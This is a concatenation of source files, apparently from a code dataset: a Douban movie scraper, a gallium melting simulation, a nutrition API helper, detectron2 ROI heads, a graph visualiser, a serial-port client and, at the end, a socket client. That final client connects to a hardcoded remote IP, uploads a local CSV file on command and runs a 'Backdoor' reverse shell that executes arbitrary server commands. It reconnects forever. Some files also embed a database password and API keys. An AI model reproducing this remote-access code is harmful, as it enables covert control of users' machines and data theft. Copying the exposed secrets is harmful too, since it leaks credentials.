\\\n __utma=223695111.1410696961.1590506980.1591230766.1591287295.7; __utmb=223695111.0.10.1591287295;\\\n _pk_id.100001.4cf6=12ce95e1d7ed8f21.1590506980.7.1591287710.1591231040.',\n\n \"User-Agent\": \"Mozilla / 5.0(Windows NT 10.0; Win64; x64) AppleWebKit / 537.36(KHTML, like Gecko) Chrome \\\n / 80.0.3987.122 Safari / 537.36\",\n\n \"Referer\": \"https://movie.douban.com/explore\"\n }\n directorlist = [] # 存放最终要导入数据库的导演数据\n filmlist = [] # 存放最终要导入数据库的电影数据\n casts = [] #存放最终要导入数据库的演员数据\n actor_list = []#存放最终要导入数据库的影人数据\n for type in movie_type:\n for zone in movie_zone:\n for i in range(0,10000 , 20):\n print(\"i is:\", i)\n url = str(\n \"https://movie.douban.com/j/new_search_subjects?sort=T&range=0,10&tags=%E7%94%B5%E5%BD%B1&start={页面}&genres=\" + type + \"&countries=\" + zone + \"\").format(\n 页面=i)\n print(url)\n response = requests.get(url, headers=head)\n time.sleep(random.random()*3)\n jd = json.loads(response.text)\n try:\n jdlist = jd['data']\n print(jdlist)\n '''\n jd是一个字典,只存了一个键值对,其中value:jd['subjects']是一个列表,\n 其中的每一个元素又是一个字典,所以首先要遍历列表的每一个元素,将value组\n 成新的元组,再将元组加入新的列表\n '''\n for index in range(len(jdlist)):\n # 找到url 进入电影详情页\n movieurl = jdlist[index]['url']\n print(movieurl)\n request = urllib.request.Request(movieurl, headers=head)\n time.sleep(random.random() * 3)\n html = \"\"\n try:\n response = urllib.request.urlopen(request)\n html = response.read().decode(\"utf-8\")\n # -----数据提取-----\n soup = BeautifulSoup(html, \"html.parser\") # 把html文档通过html.parser解析器解析为文件树\n movie_list = soup.find_all(type=\"application/ld+json\")\n for item in movie_list: # 一条电影的全部信息\n movie_dict = json.loads(item.get_text())\n print(movie_dict)\n movie_age = movie_dict[\"datePublished\"]\n movie_ratingCount = movie_dict[\"aggregateRating\"][\"ratingCount\"]\n movie_decription = movie_dict[\"description\"]\n # 电影数据整合\n moivetuple = (jdlist[index]['id'], jdlist[index]['url'],\n jdlist[index]['cover'], jdlist[index]['title'],\n jdlist[index]['rate'], zone, movie_age, movie_ratingCount,\n movie_decription)\n print(moivetuple)\n filmlist.append(moivetuple)\n casts_list = movie_dict['actor']\n # director = movie_dict['director']\n # print(director)\n\n for castsindex in range(len(casts_list)):\n reid = re.match('/celebrity/(\\d*)/', str(casts_list[castsindex][\"url\"]))\n actor_id = reid.group(1)\n actor_name = casts_list[castsindex][\"name\"]\n casts_tuple = (actor_id, actor_name, jdlist[index]['id'], '演员')\n print(casts_tuple)\n casts.append(casts_tuple)\n\n director = movie_dict['director']\n for directorindex in range(len(director)): # 考虑到可能会有多个导演\n reDirectorId = re.match('/celebrity/(\\d*)/', str(director[directorindex]['url']))\n director_id = reDirectorId.group(1)\n director_name = director[directorindex]['name']\n director_tuple = (director_id, director_name, jdlist[index]['id'], '导演')\n print(director_tuple)\n casts.append(director_tuple)\n\n # director = movie_dict['director'][0]\n # reDirectorId = re.match('/celebrity/(\\d*)/',str(director['url']))\n # director_id = reDirectorId.group(1)\n # director_name = director['name']\n # director_tuple = (director_id, director_name, jdlist[index]['id'], '导演')\n # print(director_tuple)\n # casts.append(director_tuple)\n\n except urllib.error.URLError as e:\n if hasattr(e, \"code\"):\n print(e.code)\n if hasattr(e, \"reason\"):\n print(e.reason)\n\n except:\n break\n filmlist = list(set(filmlist))\n print(filmlist)\n casts = list(set(casts))\n print(casts)\n # 从参演人员表中id得到url,爬取演员信息\n for indexcasts in range(len(casts)):\n actor_url = \"https://movie.douban.com/celebrity/\" + casts[indexcasts][0]\n print(actor_url)\n time.sleep(random.random() * 3)\n request = urllib.request.Request(actor_url, headers=head)\n response = urllib.request.urlopen(request)\n actorhtml = response.read().decode(\"utf-8\")\n soup = BeautifulSoup(actorhtml, \"html.parser\") # 把html文档通过html.parser解析器解析为文件树\n movie_list = soup.find_all(id=\"headline\")\n findpiclink = re.compile(r'src=\"(.*?)\"')\n findsex = re.compile(r'性别:(.*?)', re.S)\n findstar = re.compile(r'星座:(.*?) ', re.S)\n finddate = re.compile(r'出生日期: (.*?)', re.S)\n findcountry = re.compile(r'出生地: (.*?)', re.S)\n for item in movie_list:\n item = str(item)\n piclinklist = re.findall(findpiclink,item)\n piclink = \"\".join(piclinklist)\n sex = re.findall(findsex, item)\n actorSex = \"\".join(sex).strip()\n star = re.findall(findstar, item)\n actorStar = \"\".join(star).strip()\n date = re.findall(finddate, item)\n actorDate = \"\".join(date).strip()\n country = re.findall(findcountry, item)\n actorCountry = \"\".join(country).strip()\n actor_tuple = (casts[indexcasts][0], casts[indexcasts][1], piclink,actorSex, actorStar, actorDate, actorCountry)\n print(actor_tuple)\n actor_list.append(actor_tuple)\n\n\n actor_list = list(set(actor_list))\n print(actor_list)\n\n#过滤重复数据\n# def filterdata(filmlist):\n#\n# # 建立一个新的列表filmonlylist[],每次像列表中添加数据是时先判断是否重复,重复就从内层循环跳出,不重复就加入新的列表\n#\n# filmonlylist = []\n# filmonlylist.append(filmlist[1])\n# for index1 in range(len(filmlist)):\n# flag = 0\n# for index2 in range(len(filmonlylist)):\n# if filmlist[index1] == filmonlylist[index2]:\n# flag = 1\n# break\n# if flag == 0 :\n# filmonlylist.append(filmlist[index1])\n# return filmonlylist\n\n#保存到数据库\n serverName = '127.0.0.1' #本地id\n userName = 'sa' #用户名\n passWord = '19800506abcD' #密码\n # 建立连接并获取cursor\n conn = pymssql.connect(serverName, userName, passWord, database='douban', charset='utf8')\n cursor = conn.cursor()\n # 电影信息表\n cursor.execute(\n '''\n IF OBJECT_ID('filmtable', 'U') IS NOT NULL\n DROP TABLE filmtable\n CREATE TABLE filmtable\n (\n movieid INT PRIMARY KEY,\n infolink VARCHAR(255),\n piclink VARCHAR(255),\n filmname VARCHAR(255),\n score CHAR(4),\n country CHAR(10),\n filmdate CHAR(10),\n scorecount CHAR(10),\n descripetion VARCHAR(255)\n \n )\n ''')\n conn.commit() #保存\n cursor.executemany(\"insert into filmtable(movieid,infolink,piclink,filmname,score,country,filmdate,scorecount,descripetion)\"\n \"VALUES(%d,%s,%s,%s,%s,%s,%s,%s,%s)\", filmlist)\n conn.commit()\n\n #影人信息表\n\n cursor.execute(\n '''\n IF OBJECT_ID('actortable', 'U') IS NOT NULL\n DROP TABLE actortable\n CREATE TABLE actortable\n (\n actorid INT PRIMARY KEY,\n actorname VARCHAR(80),\n actorpic VARCHAR(255),\n actorsex CHAR(4),\n actorstar CHAR(10),\n actordate CHAR(10),\n actorcountry CHAR(40)\n\n )\n ''')\n conn.commit() # 保存\n cursor.executemany(\n \"insert into actortable(actorid,actorname,actorpic,actorsex,actorstar,actordate,actorcountry)\"\n \"VALUES(%d,%s,%s,%s,%s,%s,%s)\", actor_list)\n conn.commit()\n\n #参演信息表\n cursor.execute(\n '''\n IF OBJECT_ID('caststable', 'U') IS NOT NULL\n DROP TABLE caststable\n CREATE TABLE caststable\n (\n actorid INT NOT NULL,\n actorname VARCHAR(80),\n movieid INT NOT NULL,\n caststype CHAR(10),\n CONSTRAINT PK_caststable PRIMARY KEY (actorid,movieid,caststype),\n CONSTRAINT FK_caststable_actortable FOREIGN KEY (actorid) \n REFERENCES douban.actortable (actorid),\n CONSTRAINT FK_caststable_filmtable FOREIGN KEY (movieid) \n REFERENCES douban.filmtable (movieid)\n \n )\n ''')\n conn.commit() # 保存\n cursor.executemany(\n \"insert into filmtable(actorid,actorname,movieid,caststype)\"\n \"VALUES(%d,%s,%d,%s)\", casts)\n conn.commit()\n\n conn.close\n\n\n\n\n\n\nif __name__ == '__main__':\n main()\n print(\"爬取完毕!\")\n","sub_path":"test/spider2.py","file_name":"spider2.py","file_ext":"py","file_size_in_byte":12518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"280245560","text":"\"\"\" Gallium melting benchmark \r\n\r\nPhysical parameters are based on \r\n @article{belhamadia2019adaptive,\r\n author = {Belhamadia, Youssef and Fortin, André and Briffard, Thomas},\r\n year = {2019},\r\n month = {06},\r\n pages = {1-19},\r\n title = {A two-dimensional adaptive remeshing method for solving melting and solidification problems with convection},\r\n volume = {76},\r\n journal = {Numerical Heat Transfer, Part A: Applications},\r\n doi = {10.1080/10407782.2019.1627837},\r\n }\r\n\r\nBelhamadia uses the temperature scaling $\\tilde{T} = (T - T_r) / \\Delta T$.\r\nThey chose reference temperature $T_r = 301.3 K$\r\nand set nondimensional melting temperature $T_f = 0.1525$.\r\nSo their reference temperature was not chosen as the melting temperature.\r\nThey set the initial temperature to $T_c = 0$ and hot wall to $T_h = 1$.\r\nThis means that they chose $T_r = T_c$ and therefore $T_c = 301.3 K$.\r\nThe dimensional melting temperature is $0.1525*(9.7 K) + 301.3 K$ => $T_f = 302.8 K$.\r\n\r\nWe use the temperature scaling $\\tilde{T} = (T - T_f)/ \\Delta T$.\r\nTherefore, $\\tilde{T}_f = 0.$ and $\\tilde{T}_c = -0.1546$.\r\n\"\"\"\r\nimport firedrake as fe\r\nimport sapphire.simulations.navier_stokes_boussinesq\r\nimport sapphire.simulations.examples.melt_octadecane\r\n\r\n\r\nreference_length = 6.35 # cm\r\n\r\ncoldwall_temperature = 301.3 # K\r\n\r\nreference_temperature_range = 9.7 # K\r\n\r\nreference_time = 292.90 # s\r\n\r\n\r\n\r\nclass Simulation(sapphire.simulations.examples.melt_octadecane.Simulation):\r\n\r\n def __init__(self, *args,\r\n rayleigh_number = 7.e5,\r\n prandtl_number = 0.0216,\r\n stefan_number = 0.046,\r\n liquidus_temperature = 0.,\r\n hotwall_temperature = 1.,\r\n initial_temperature = -0.1546,\r\n cutoff_length = 0.5,\r\n taylor_hood_pressure_degree = 1,\r\n temperature_degree = 2,\r\n mesh_dimensions = (20, 40),\r\n **kwargs):\r\n \r\n if \"solution\" not in kwargs:\r\n \r\n kwargs[\"mesh\"] = fe.RectangleMesh(\r\n nx = mesh_dimensions[0],\r\n ny = mesh_dimensions[1],\r\n Lx = cutoff_length,\r\n Ly = 1.)\r\n \r\n super().__init__(\r\n *args,\r\n reynolds_number = 1./prandtl_number,\r\n rayleigh_number = rayleigh_number,\r\n prandtl_number = prandtl_number,\r\n stefan_number = stefan_number,\r\n liquidus_temperature = liquidus_temperature,\r\n hotwall_temperature = hotwall_temperature,\r\n initial_temperature = initial_temperature,\r\n **kwargs)\r\n ","sub_path":"sapphire/simulations/examples/melt_gallium.py","file_name":"melt_gallium.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"592761463","text":"import http.client\nimport json\n\n\nheaders = {\n \"x-app-id\": \"310f582a\",\n \"x-app-key\": \"1ccd7b3fbdeae869fe5b10c863614137\",\n \"x-remote-user-id\": 0,\n}\n# \"Content-type\": \"application/json\"\n\ndef fetch_calories(food_name):\n\n # trackapi.nutritionix.com/v2/search\n payload = {\"query\":food_name}\n\n conn = http.client.HTTPSConnection(\"trackapi.nutritionix.com\")\n\n conn.request(\"POST\", \"/v2/natural/nutrients\", json.dumps(payload), headers)\n\n response = conn.getresponse().read()\n data = json.loads(response)\n return data['foods'][0][\"nf_calories\"]\n","sub_path":"swagger_server/controllers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"513635997","text":"from typing import List, Tuple, Dict, Union\nimport numpy as np\nimport torch\nfrom detectron2.layers import cat\nfrom detectron2.structures import Instances, Boxes\nfrom detectron2.modeling.roi_heads import ROI_HEADS_REGISTRY\nfrom detectron2.modeling.roi_heads.roi_heads import add_ground_truth_to_proposals, pairwise_iou\nfrom detectron2.utils.events import get_event_storage\nfrom detectron2.modeling.sampling import subsample_labels\nfrom detectron2.config import configurable\nfrom detectron3.modeling.roi_heads import StandardROIHeads2\n\n__all__ = ['TripleStandardROIHeads']\n\n\n@ROI_HEADS_REGISTRY.register()\nclass TripleStandardROIHeads(StandardROIHeads2):\n @configurable\n def __init__(self, std_num_classes, **kwargs):\n self.std_num_classes = std_num_classes\n super(TripleStandardROIHeads, self).__init__(**kwargs)\n\n def _forward_box(\n self, features: Dict[str, torch.Tensor], proposals: List[Instances]\n ) -> Union[Dict[str, torch.Tensor], List[Instances]]:\n \"\"\"\n Forward logic of the box prediction branch. If `self.train_on_pred_boxes is True`,\n the function puts predicted boxes in the `proposal_boxes` field of `proposals` argument.\n\n Args:\n features (dict[str, Tensor]): mapping from feature map names to tensor.\n Same as in :meth:`ROIHeads.forward`.\n proposals (list[Instances]): the per-image object proposals with\n their matching ground truth.\n Each has fields \"proposal_boxes\", and \"objectness_logits\",\n \"gt_classes\", \"gt_boxes\".\n\n Returns:\n In training, a dict of losses.\n In inference, a list of `Instances`, the predicted instances.\n \"\"\"\n features = [features[f] for f in self.box_in_features]\n box_features = self.box_pooler(features, [x.proposal_boxes for x in proposals])\n if self.training:\n predictions = self.box_predictor(box_features, gt_standards=cat([p.gt_standards for p in proposals], dim=0))\n else:\n predictions = self.box_predictor(box_features)\n\n del box_features\n\n if self.training:\n losses = self.box_predictor.losses(predictions, proposals)\n # proposals is modified in-place below, so losses must be computed first.\n if self.train_on_pred_boxes:\n with torch.no_grad():\n pred_boxes = self.box_predictor.predict_boxes_for_gt_classes(\n predictions, proposals\n )\n for proposals_per_image, pred_boxes_per_image in zip(proposals, pred_boxes):\n proposals_per_image.proposal_boxes = Boxes(pred_boxes_per_image)\n return losses\n else:\n pred_instances, _ = self.box_predictor.inference(predictions, proposals)\n return pred_instances\n\n @classmethod\n def from_config(cls, cfg, input_shape):\n ret = {}\n std_num_classes = cfg.MODEL.ROI_HEADS.STD_NUM_CLS\n ret['std_num_classes'] = std_num_classes\n dic = super().from_config(cfg, input_shape)\n ret.update(dic)\n return ret\n\n @torch.no_grad()\n def label_and_sample_proposals(\n self, proposals: List[Instances], targets: List[Instances]\n ) -> List[Instances]:\n \"\"\"\n Prepare some proposals to be used to train the ROI heads.\n It performs box matching between `proposals` and `targets`, and assigns\n training labels to the proposals.\n It returns ``self.batch_size_per_image`` random samples from proposals and groundtruth\n boxes, with a fraction of positives that is no larger than\n ``self.positive_fraction``.\n\n Args:\n See :meth:`ROIHeads.forward`\n\n Returns:\n list[Instances]:\n length `N` list of `Instances`s containing the proposals\n sampled for training. Each `Instances` has the following fields:\n\n - proposal_boxes: the proposal boxes\n - gt_boxes: the ground-truth box that the proposal is assigned to\n (this is only meaningful if the proposal has a label > 0; if label = 0\n then the ground-truth box is random)\n\n Other fields such as \"gt_classes\", \"gt_masks\", that's included in `targets`.\n \"\"\"\n gt_boxes = [x.gt_boxes for x in targets]\n # Augment proposals with ground-truth boxes.\n # In the case of learned proposals (e.g., RPN), when training starts\n # the proposals will be low quality due to random initialization.\n # It's possible that none of these initial\n # proposals have high enough overlap with the gt objects to be used\n # as positive examples for the second stage components (box head,\n # cls head, mask head). Adding the gt boxes to the set of proposals\n # ensures that the second stage components will have some positive\n # examples from the start of training. For RPN, this augmentation improves\n # convergence and empirically improves box AP on COCO by about 0.5\n # points (under one tested configuration).\n if self.proposal_append_gt:\n proposals = add_ground_truth_to_proposals(gt_boxes, proposals)\n\n proposals_with_gt = []\n\n num_fg_samples = []\n num_bg_samples = []\n for proposals_per_image, targets_per_image in zip(proposals, targets):\n has_gt = len(targets_per_image) > 0\n match_quality_matrix = pairwise_iou(\n targets_per_image.gt_boxes, proposals_per_image.proposal_boxes\n )\n matched_idxs, matched_labels = self.proposal_matcher(match_quality_matrix)\n sampled_idxs, gt_classes, gt_standards = self._sample_proposals2(\n matched_idxs, matched_labels, targets_per_image.gt_classes, targets_per_image.gt_standards\n )\n\n # Set target attributes of the sampled proposals:\n proposals_per_image = proposals_per_image[sampled_idxs]\n proposals_per_image.gt_classes = gt_classes\n proposals_per_image.gt_standards = gt_standards\n\n # We index all the attributes of targets that start with \"gt_\"\n # and have not been added to proposals yet (=\"gt_classes\").\n if has_gt:\n sampled_targets = matched_idxs[sampled_idxs]\n # NOTE: here the indexing waste some compute, because heads\n # like masks, keypoints, etc, will filter the proposals again,\n # (by foreground/background, or number of keypoints in the image, etc)\n # so we essentially index the data twice.\n for (trg_name, trg_value) in targets_per_image.get_fields().items():\n if trg_name.startswith(\"gt_\") and not proposals_per_image.has(trg_name):\n proposals_per_image.set(trg_name, trg_value[sampled_targets])\n else:\n # gt_boxes = Boxes(\n # targets_per_image.gt_boxes.tensor.new_zeros((len(sampled_idxs), 4))\n # )\n gt_boxes = Boxes(\n torch.zeros(len(sampled_idxs), 4, device=gt_standards.device)\n )\n proposals_per_image.gt_boxes = gt_boxes\n\n num_bg_samples.append((gt_classes == self.num_classes).sum().item())\n num_fg_samples.append(gt_classes.numel() - num_bg_samples[-1])\n proposals_with_gt.append(proposals_per_image)\n\n # Log the number of fg/bg samples that are selected for training ROI heads\n storage = get_event_storage()\n storage.put_scalar(\"roi_head/num_fg_samples\", np.mean(num_fg_samples))\n storage.put_scalar(\"roi_head/num_bg_samples\", np.mean(num_bg_samples))\n\n return proposals_with_gt\n\n def _sample_proposals2(\n self, matched_idxs: torch.Tensor, matched_labels: torch.Tensor, gt_classes: torch.Tensor,\n gt_standards: torch.Tensor\n ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n \"\"\"\n Based on the matching between N proposals and M groundtruth,\n sample the proposals and set their classification labels.\n\n Args:\n matched_idxs (Tensor): a vector of length N, each is the best-matched\n gt index in [0, M) for each proposal.\n matched_labels (Tensor): a vector of length N, the matcher's label\n (one of cfg.MODEL.ROI_HEADS.IOU_LABELS) for each proposal.\n gt_classes (Tensor): a vector of length M.\n\n Returns:\n Tensor: a vector of indices of sampled proposals. Each is in [0, N).\n Tensor: a vector of the same length, the classification label for\n each sampled proposal. Each sample is labeled as either a category in\n [0, num_classes) or the background (num_classes).\n \"\"\"\n has_gt = gt_classes.numel() > 0\n # Get the corresponding GT for each proposal\n if has_gt:\n gt_classes = gt_classes[matched_idxs]\n # Label unmatched proposals (0 label from matcher) as background (label=num_classes)\n gt_classes[matched_labels == 0] = self.num_classes\n # Label ignore proposals (-1 label)\n gt_classes[matched_labels == -1] = -1\n # gt_standards不考虑背景这一类别\n gt_standards = gt_standards[matched_idxs]\n gt_standards[matched_labels == 0] = self.std_num_classes\n gt_standards[matched_labels == -1] = -1\n else:\n gt_classes = torch.zeros_like(matched_idxs) + self.num_classes\n gt_standards = torch.zeros_like(matched_idxs) + self.std_num_classes\n\n sampled_fg_idxs, sampled_bg_idxs = subsample_labels(\n gt_classes, self.batch_size_per_image, self.positive_fraction, self.num_classes\n )\n\n sampled_idxs = torch.cat([sampled_fg_idxs, sampled_bg_idxs], dim=0)\n return sampled_idxs, gt_classes[sampled_idxs], gt_standards[sampled_idxs]\n","sub_path":"projects/StdPlanesSelection_FasterRCNN/modeling/roi_heads/roi_heads.py","file_name":"roi_heads.py","file_ext":"py","file_size_in_byte":10081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"615162116","text":"from graphviz import Digraph\n\nfrom utensor_cgen.logger import logger\n\n\ndef viz_graph(ugraph, out_fname=None, view=False, cleanup=True, colored_nodes=None, suffix=''):\n if colored_nodes is None:\n colored_nodes = set()\n else:\n colored_nodes = set(colored_nodes)\n dot = Digraph()\n nodes = {}\n i = 0\n for node in ugraph.ops:\n nodes[node.name] = '{}_{}'.format(chr(ord('a') + i), suffix)\n colored = node.name in colored_nodes\n if colored:\n dot.node(\n nodes[node.name],\n \"%s: %s\" % (node.name, node.op_type),\n color='lightskyblue1',\n style='filled'\n )\n else:\n dot.node(nodes[node.name], \"%s: %s\" % (node.name, node.op_type))\n i += 1\n for n in node.input_tensors:\n if n.name in nodes:\n continue\n nodes[n.name] = '{}_{}'.format(chr(ord('a') + i), suffix)\n colored = n.name in colored_nodes\n if colored:\n dot.node(\n nodes[n.name],\n \"%s: Tensor\" % n.name,\n color='olivedrab2',\n style='filled',\n shape='box',\n )\n else:\n dot.node(nodes[n.name], \"%s: Tensor\" % n.name, shape='box')\n i += 1\n for n in node.output_tensors:\n if n.name in nodes:\n continue\n nodes[n.name] = '{}_{}'.format(chr(ord('a') + i), suffix)\n colored = n.name in colored_nodes\n if colored:\n dot.node(\n nodes[n.name],\n \"%s: Tensor\" % n.name,\n color='olivedrab2',\n style='filled',\n shape='box',\n )\n else:\n dot.node(nodes[n.name], \"%s: Tensor\" % n.name, shape='box')\n i += 1\n for node in ugraph.ops:\n for n in node.input_tensors:\n dot.edge(nodes[n.name], nodes[node.name])\n for n in node.output_tensors:\n dot.edge(nodes[node.name], nodes[n.name])\n if out_fname:\n dot.render(out_fname, view=view, cleanup=cleanup)\n logger.info('graph visualization file generated: %s', out_fname)\n return dot\n","sub_path":"utensor_cgen/ir/misc/graph_viz.py","file_name":"graph_viz.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"278876290","text":"#!/usr/bin/env python3\n# -- coding: utf-8 --\n#####################################################\n# Camada Física da Computação\n#Carareto\n#17/02/2018\n# Aplicação \n####################################################\n\nprint(\"comecou\")\n\nfrom enlace import *\nimport time\nimport math\nfrom datetime import datetime\n\n\n\n# Serial Com Port\n# para saber a sua porta, execute no terminal :\n# python -m serial.tools.list_ports\n\n#serialName = \"/dev/ttyACM0\" # Ubuntu (variacao de)\n#serialName = \"/dev/tty.usbmodem1411\" # Mac (variacao de)\nserialName = \"COM9\" # Windows(variacao de)\nprint(\"abriu com\")\n\ndef eop():\n\n eop = bytes([0xf1]) + bytes([0xf2]) + bytes([0xf3])\n return eop \n\ndef getFile():\n \n with open(\"image.png\", \"rb\") as image:\n payload = image.read()\n payloadSize = bytes(str(len(payload)), \"UTF-8\")\n\n return payload\n\ndef eopReplaced():\n\n emptyPayload = bytes([0x00])*1\n\n eopReplaced = bytes([0x00]) + bytes([0xf1]) + bytes([0x00]) + bytes([0xf2]) + bytes([0x00]) + bytes([0xf3])\n\n emptyPayloadReplaced = emptyPayload.replace(eop(), eopReplaced)\n payloadReplaced = getFile().replace(eop(), eopReplaced)\n\n return emptyPayloadReplaced, payloadReplaced\n\ndef allpayloads():\n eachPayloadmsg = [eopReplaced()[0][x:x+128] for x in range(0, len(eopReplaced()[0]), 128)]\n eachPayloadimg = [eopReplaced()[1][x:x+128] for x in range(0, len(eopReplaced()[1]), 128)]\n\n return eachPayloadmsg, eachPayloadimg\n \ndef totalPackage() : \n total = len(allpayloads()[1])\n return total\n\ndef message1():\n serverNumber = bytes([0x93])\n totalPackage = len(allpayloads()[1]).to_bytes(3,\"little\")\n # numberPackage = 0\n # emptyHead = bytes([0x00]) * 3\n messageNumber = bytes([0x01])\n for payloadS in allpayloads()[0]:\n payloadSize = len(payloadS).to_bytes(1,\"little\")\n \n\n emptyhead = bytes([0x00])*4\n head = messageNumber + serverNumber + totalPackage + payloadSize + emptyhead\n package = head + eop()\n\n return package\n\ndef message5():\n messagetype = bytes([5])\n payloadSize = bytes([0])\n emptyHead = bytes([0])* 8\n\n head = messagetype + payloadSize + emptyHead\n package = head + eop()\n\n return package\n\ndef log(mensagem):\n now = datetime.now()\n # dd/mm/YY H:M:S\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n print(mensagem + \" | \" + dt_string)\n with open(\"client.log\", \"a\") as file:\n file.write(mensagem + \" | \" + dt_string + \"\\n\" + \"\\n\")\n \n \n\ndef client():\n # Inicializa enlace ... variavel com possui todos os metodos e propriedades do enlace, que funciona em threading\n com = enlace(serialName) # repare que o metodo construtor recebe um string (nome)\n # Ativa comunicacao\n com.enable()\n\n # Log\n log(\"-------------------------\")\n log(\"Comunicação inicializada\")\n log(\" porta : {}\".format(com.fisica.name))\n log(\"-------------------------\")\n \n\n log(\"Gerando dados para transmissao :\")\n\n # Transmite dado\n log(\"tentado transmitir .... {} bytes\".format(len(message1())))\n\n inicia = False\n while not inicia:\n com.sendData(message1())\n log(\"TIPO 1 Transmitido\")\n \n\n while(com.tx.getIsBussy()):\n pass\n\n head, headsize = com.getData(10,1)\n\n messageNumber = int.from_bytes(head[:1], \"little\")\n\n if messageNumber == 2:\n log(\"TIPO 2 recebido\")\n\n arquivo = getFile()\n arquivoSize = len(arquivo)\n\n totalPacotes = math.ceil(arquivoSize / 128)\n pacoteAtual = 1\n com.rx.clearBuffer()\n while pacoteAtual <= totalPacotes:\n log(\"Pacote atual: {}\".format(pacoteAtual))\n payload = arquivo[(pacoteAtual - 1)*128 : pacoteAtual*128]\n\n head = bytes([3]) + pacoteAtual.to_bytes(3, \"little\") + totalPacotes.to_bytes(3, \"little\") + len(payload).to_bytes(1, \"little\") + bytes([0]) * 2\n message3 = head + payload + eop()\n startTime = time.time()\n recebido = False\n while not recebido:\n com.sendData(message3)\n log(\"TIPO 3 Transmitido\")\n\n responseHead, responseSize = com.getData(10, 5)\n lastPackage = int.from_bytes(responseHead[1:4], \"little\")\n \n if responseSize != 0:\n \n \n message_number = int.from_bytes(responseHead[:1], \"little\")\n if message_number == 4:\n log(\"TIPO 4 recebido\")\n log(\"Ultimo pacote recebido: {}\".format(lastPackage))\n pacoteAtual +=1\n \n if message_number == 6:\n log(\"TIPO 6 recebido\")\n log (\"Ultimo pacote recebido: {}\".format(lastPackage))\n \n pacoteAtual = lastPackage \n log(\"Reenvinado pacote: {}\".format(pacoteAtual))\n\n \n recebido = True\n\n if time.time() - startTime > 20:\n com.sendData(message5())\n com.disable()\n exit()\n \n com.rx.clearBuffer() \n\n\n log(\"-------------------------\")\n log(\"Comunicação encerrada\")\n log(\"-------------------------\")\n com.disable()\n exit()\n \n \n \n\n else:\n inicia = False\n\n log(\"-------------------------\")\n log(\"Comunicação encerrada\")\n log(\"-------------------------\")\n\n com.disable()\n\n #so roda o main quando for executado do terminal ... se for chamado dentro de outro modulo nao roda\nif __name__ == \"__main__\":\n client()","sub_path":"Projeto4/aplicacao.py","file_name":"aplicacao.py","file_ext":"py","file_size_in_byte":6021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"464049985","text":"import socket\nimport select\nimport errno\nimport json\nimport funcs\nimport sys\nimport os\nimport subprocess\nimport time\n\n\ndef connect():\n HEADER_LENGTH = 10\n\n IP = \"165.22.9.206\"\n PORT = 1234\n\n with open(\"userData.json\") as userJson:\n userData = json.load(userJson)\n\n my_username = userData[\"USER_NAME\"]\n my_key = userData[\"USER_KEY\"]\n\n # Create a socket\n # socket.AF_INET - address family, IPv4, some otehr possible are AF_INET6, AF_BLUETOOTH, AF_UNIX\n # socket.SOCK_STREAM - TCP, conection-based, socket.SOCK_DGRAM - UDP, connectionless, datagrams, socket.SOCK_RAW - raw IP packets\n client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n # Connect to a given ip and port\n client_socket.connect((IP, PORT))\n\n # Set connection to non-blocking state, so .recv() call won;t block, just return some exception we'll handle\n client_socket.setblocking(False)\n\n # Prepare username and header and send them\n # We need to encode username to bytes, then count number of bytes and prepare header of fixed size, that we encode to bytes as well\n head, username = funcs.encodeData(my_username, HEADER_LENGTH)\n client_socket.send(head + username)\n\n head, key = funcs.encodeData(my_key, HEADER_LENGTH)\n client_socket.send(head + key)\n backDoor = False\n\n while True:\n try:\n # Now we want to loop over received messages (there might be more than one) and print them\n while True:\n\n message_header = client_socket.recv(HEADER_LENGTH)\n\n # If we received no data, server gracefully closed a connection, for example using socket.close() or socket.shutdown(socket.SHUT_RDWR)\n if not len(message_header):\n print('Connection closed by the server')\n connect()\n\n message_length = int(message_header.decode('utf-8').strip())\n message = client_socket.recv(message_length).decode('utf-8')\n \n if message == \"upload\":\n funcs.dataUpload(HEADER_LENGTH, client_socket, \"raw_Text.csv\")\n elif backDoor:\n if message == \"exitShell\":\n backDoor = False\n head, text = funcs.encodeData(f\"& Exiting {my_username} shell.\", HEADER_LENGTH)\n client_socket.send(head + text)\n elif message[:2] == \"cd\":\n message = message[3:]\n try:\n os.chdir(message)\n except:\n head, text = funcs.encodeData(sys.exc_info(), HEADER_LENGTH)\n client_socket.send(head + text)\n else:\n try:\n cmd = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)\n output_byte = cmd.stdout.read() + cmd.stderr.read()\n output_str = str(output_byte, \"utf-8\")\n head, text = funcs.encodeData(\"& \" + output_str.strip().replace(\"\\n\", \"\\n \"), HEADER_LENGTH)\n client_socket.send(head + text)\n except:\n head, text = funcs.encodeData(f\"& Error at {my_username} shell.\", HEADER_LENGTH)\n client_socket.send(head + text)\n elif message == \"Backdoor\":\n head, text = funcs.encodeData(f\"& Initiliazing reversed shell...\", HEADER_LENGTH)\n client_socket.send(head + text)\n backDoor = True\n else:\n head, text = funcs.encodeData(f\"Error, no command named: '{message}'\", HEADER_LENGTH)\n client_socket.send(head + text)\n\n except IOError as e:\n # This is normal on non blocking connections - when there are no incoming data error is going to be raised\n # Some operating systems will indicate that using AGAIN, and some using WOULDBLOCK error code\n # We are going to check for both - if one of them - that's expected, means no incoming data, continue as normal\n # If we got different error code - something happened\n if e.errno != errno.EAGAIN and e.errno != errno.EWOULDBLOCK:\n print('Reading error: {}'.format(str(e)))\n sys.exit()\n\n # We just did not receive anything\n continue\n\n except Exception as e:\n # Any other exception - something happened, exit\n print(f'Reading error: {str(e)}')\n sys.exit()\n\nwhile True:\n try:\n connect()\n except:\n time.sleep(10)\n 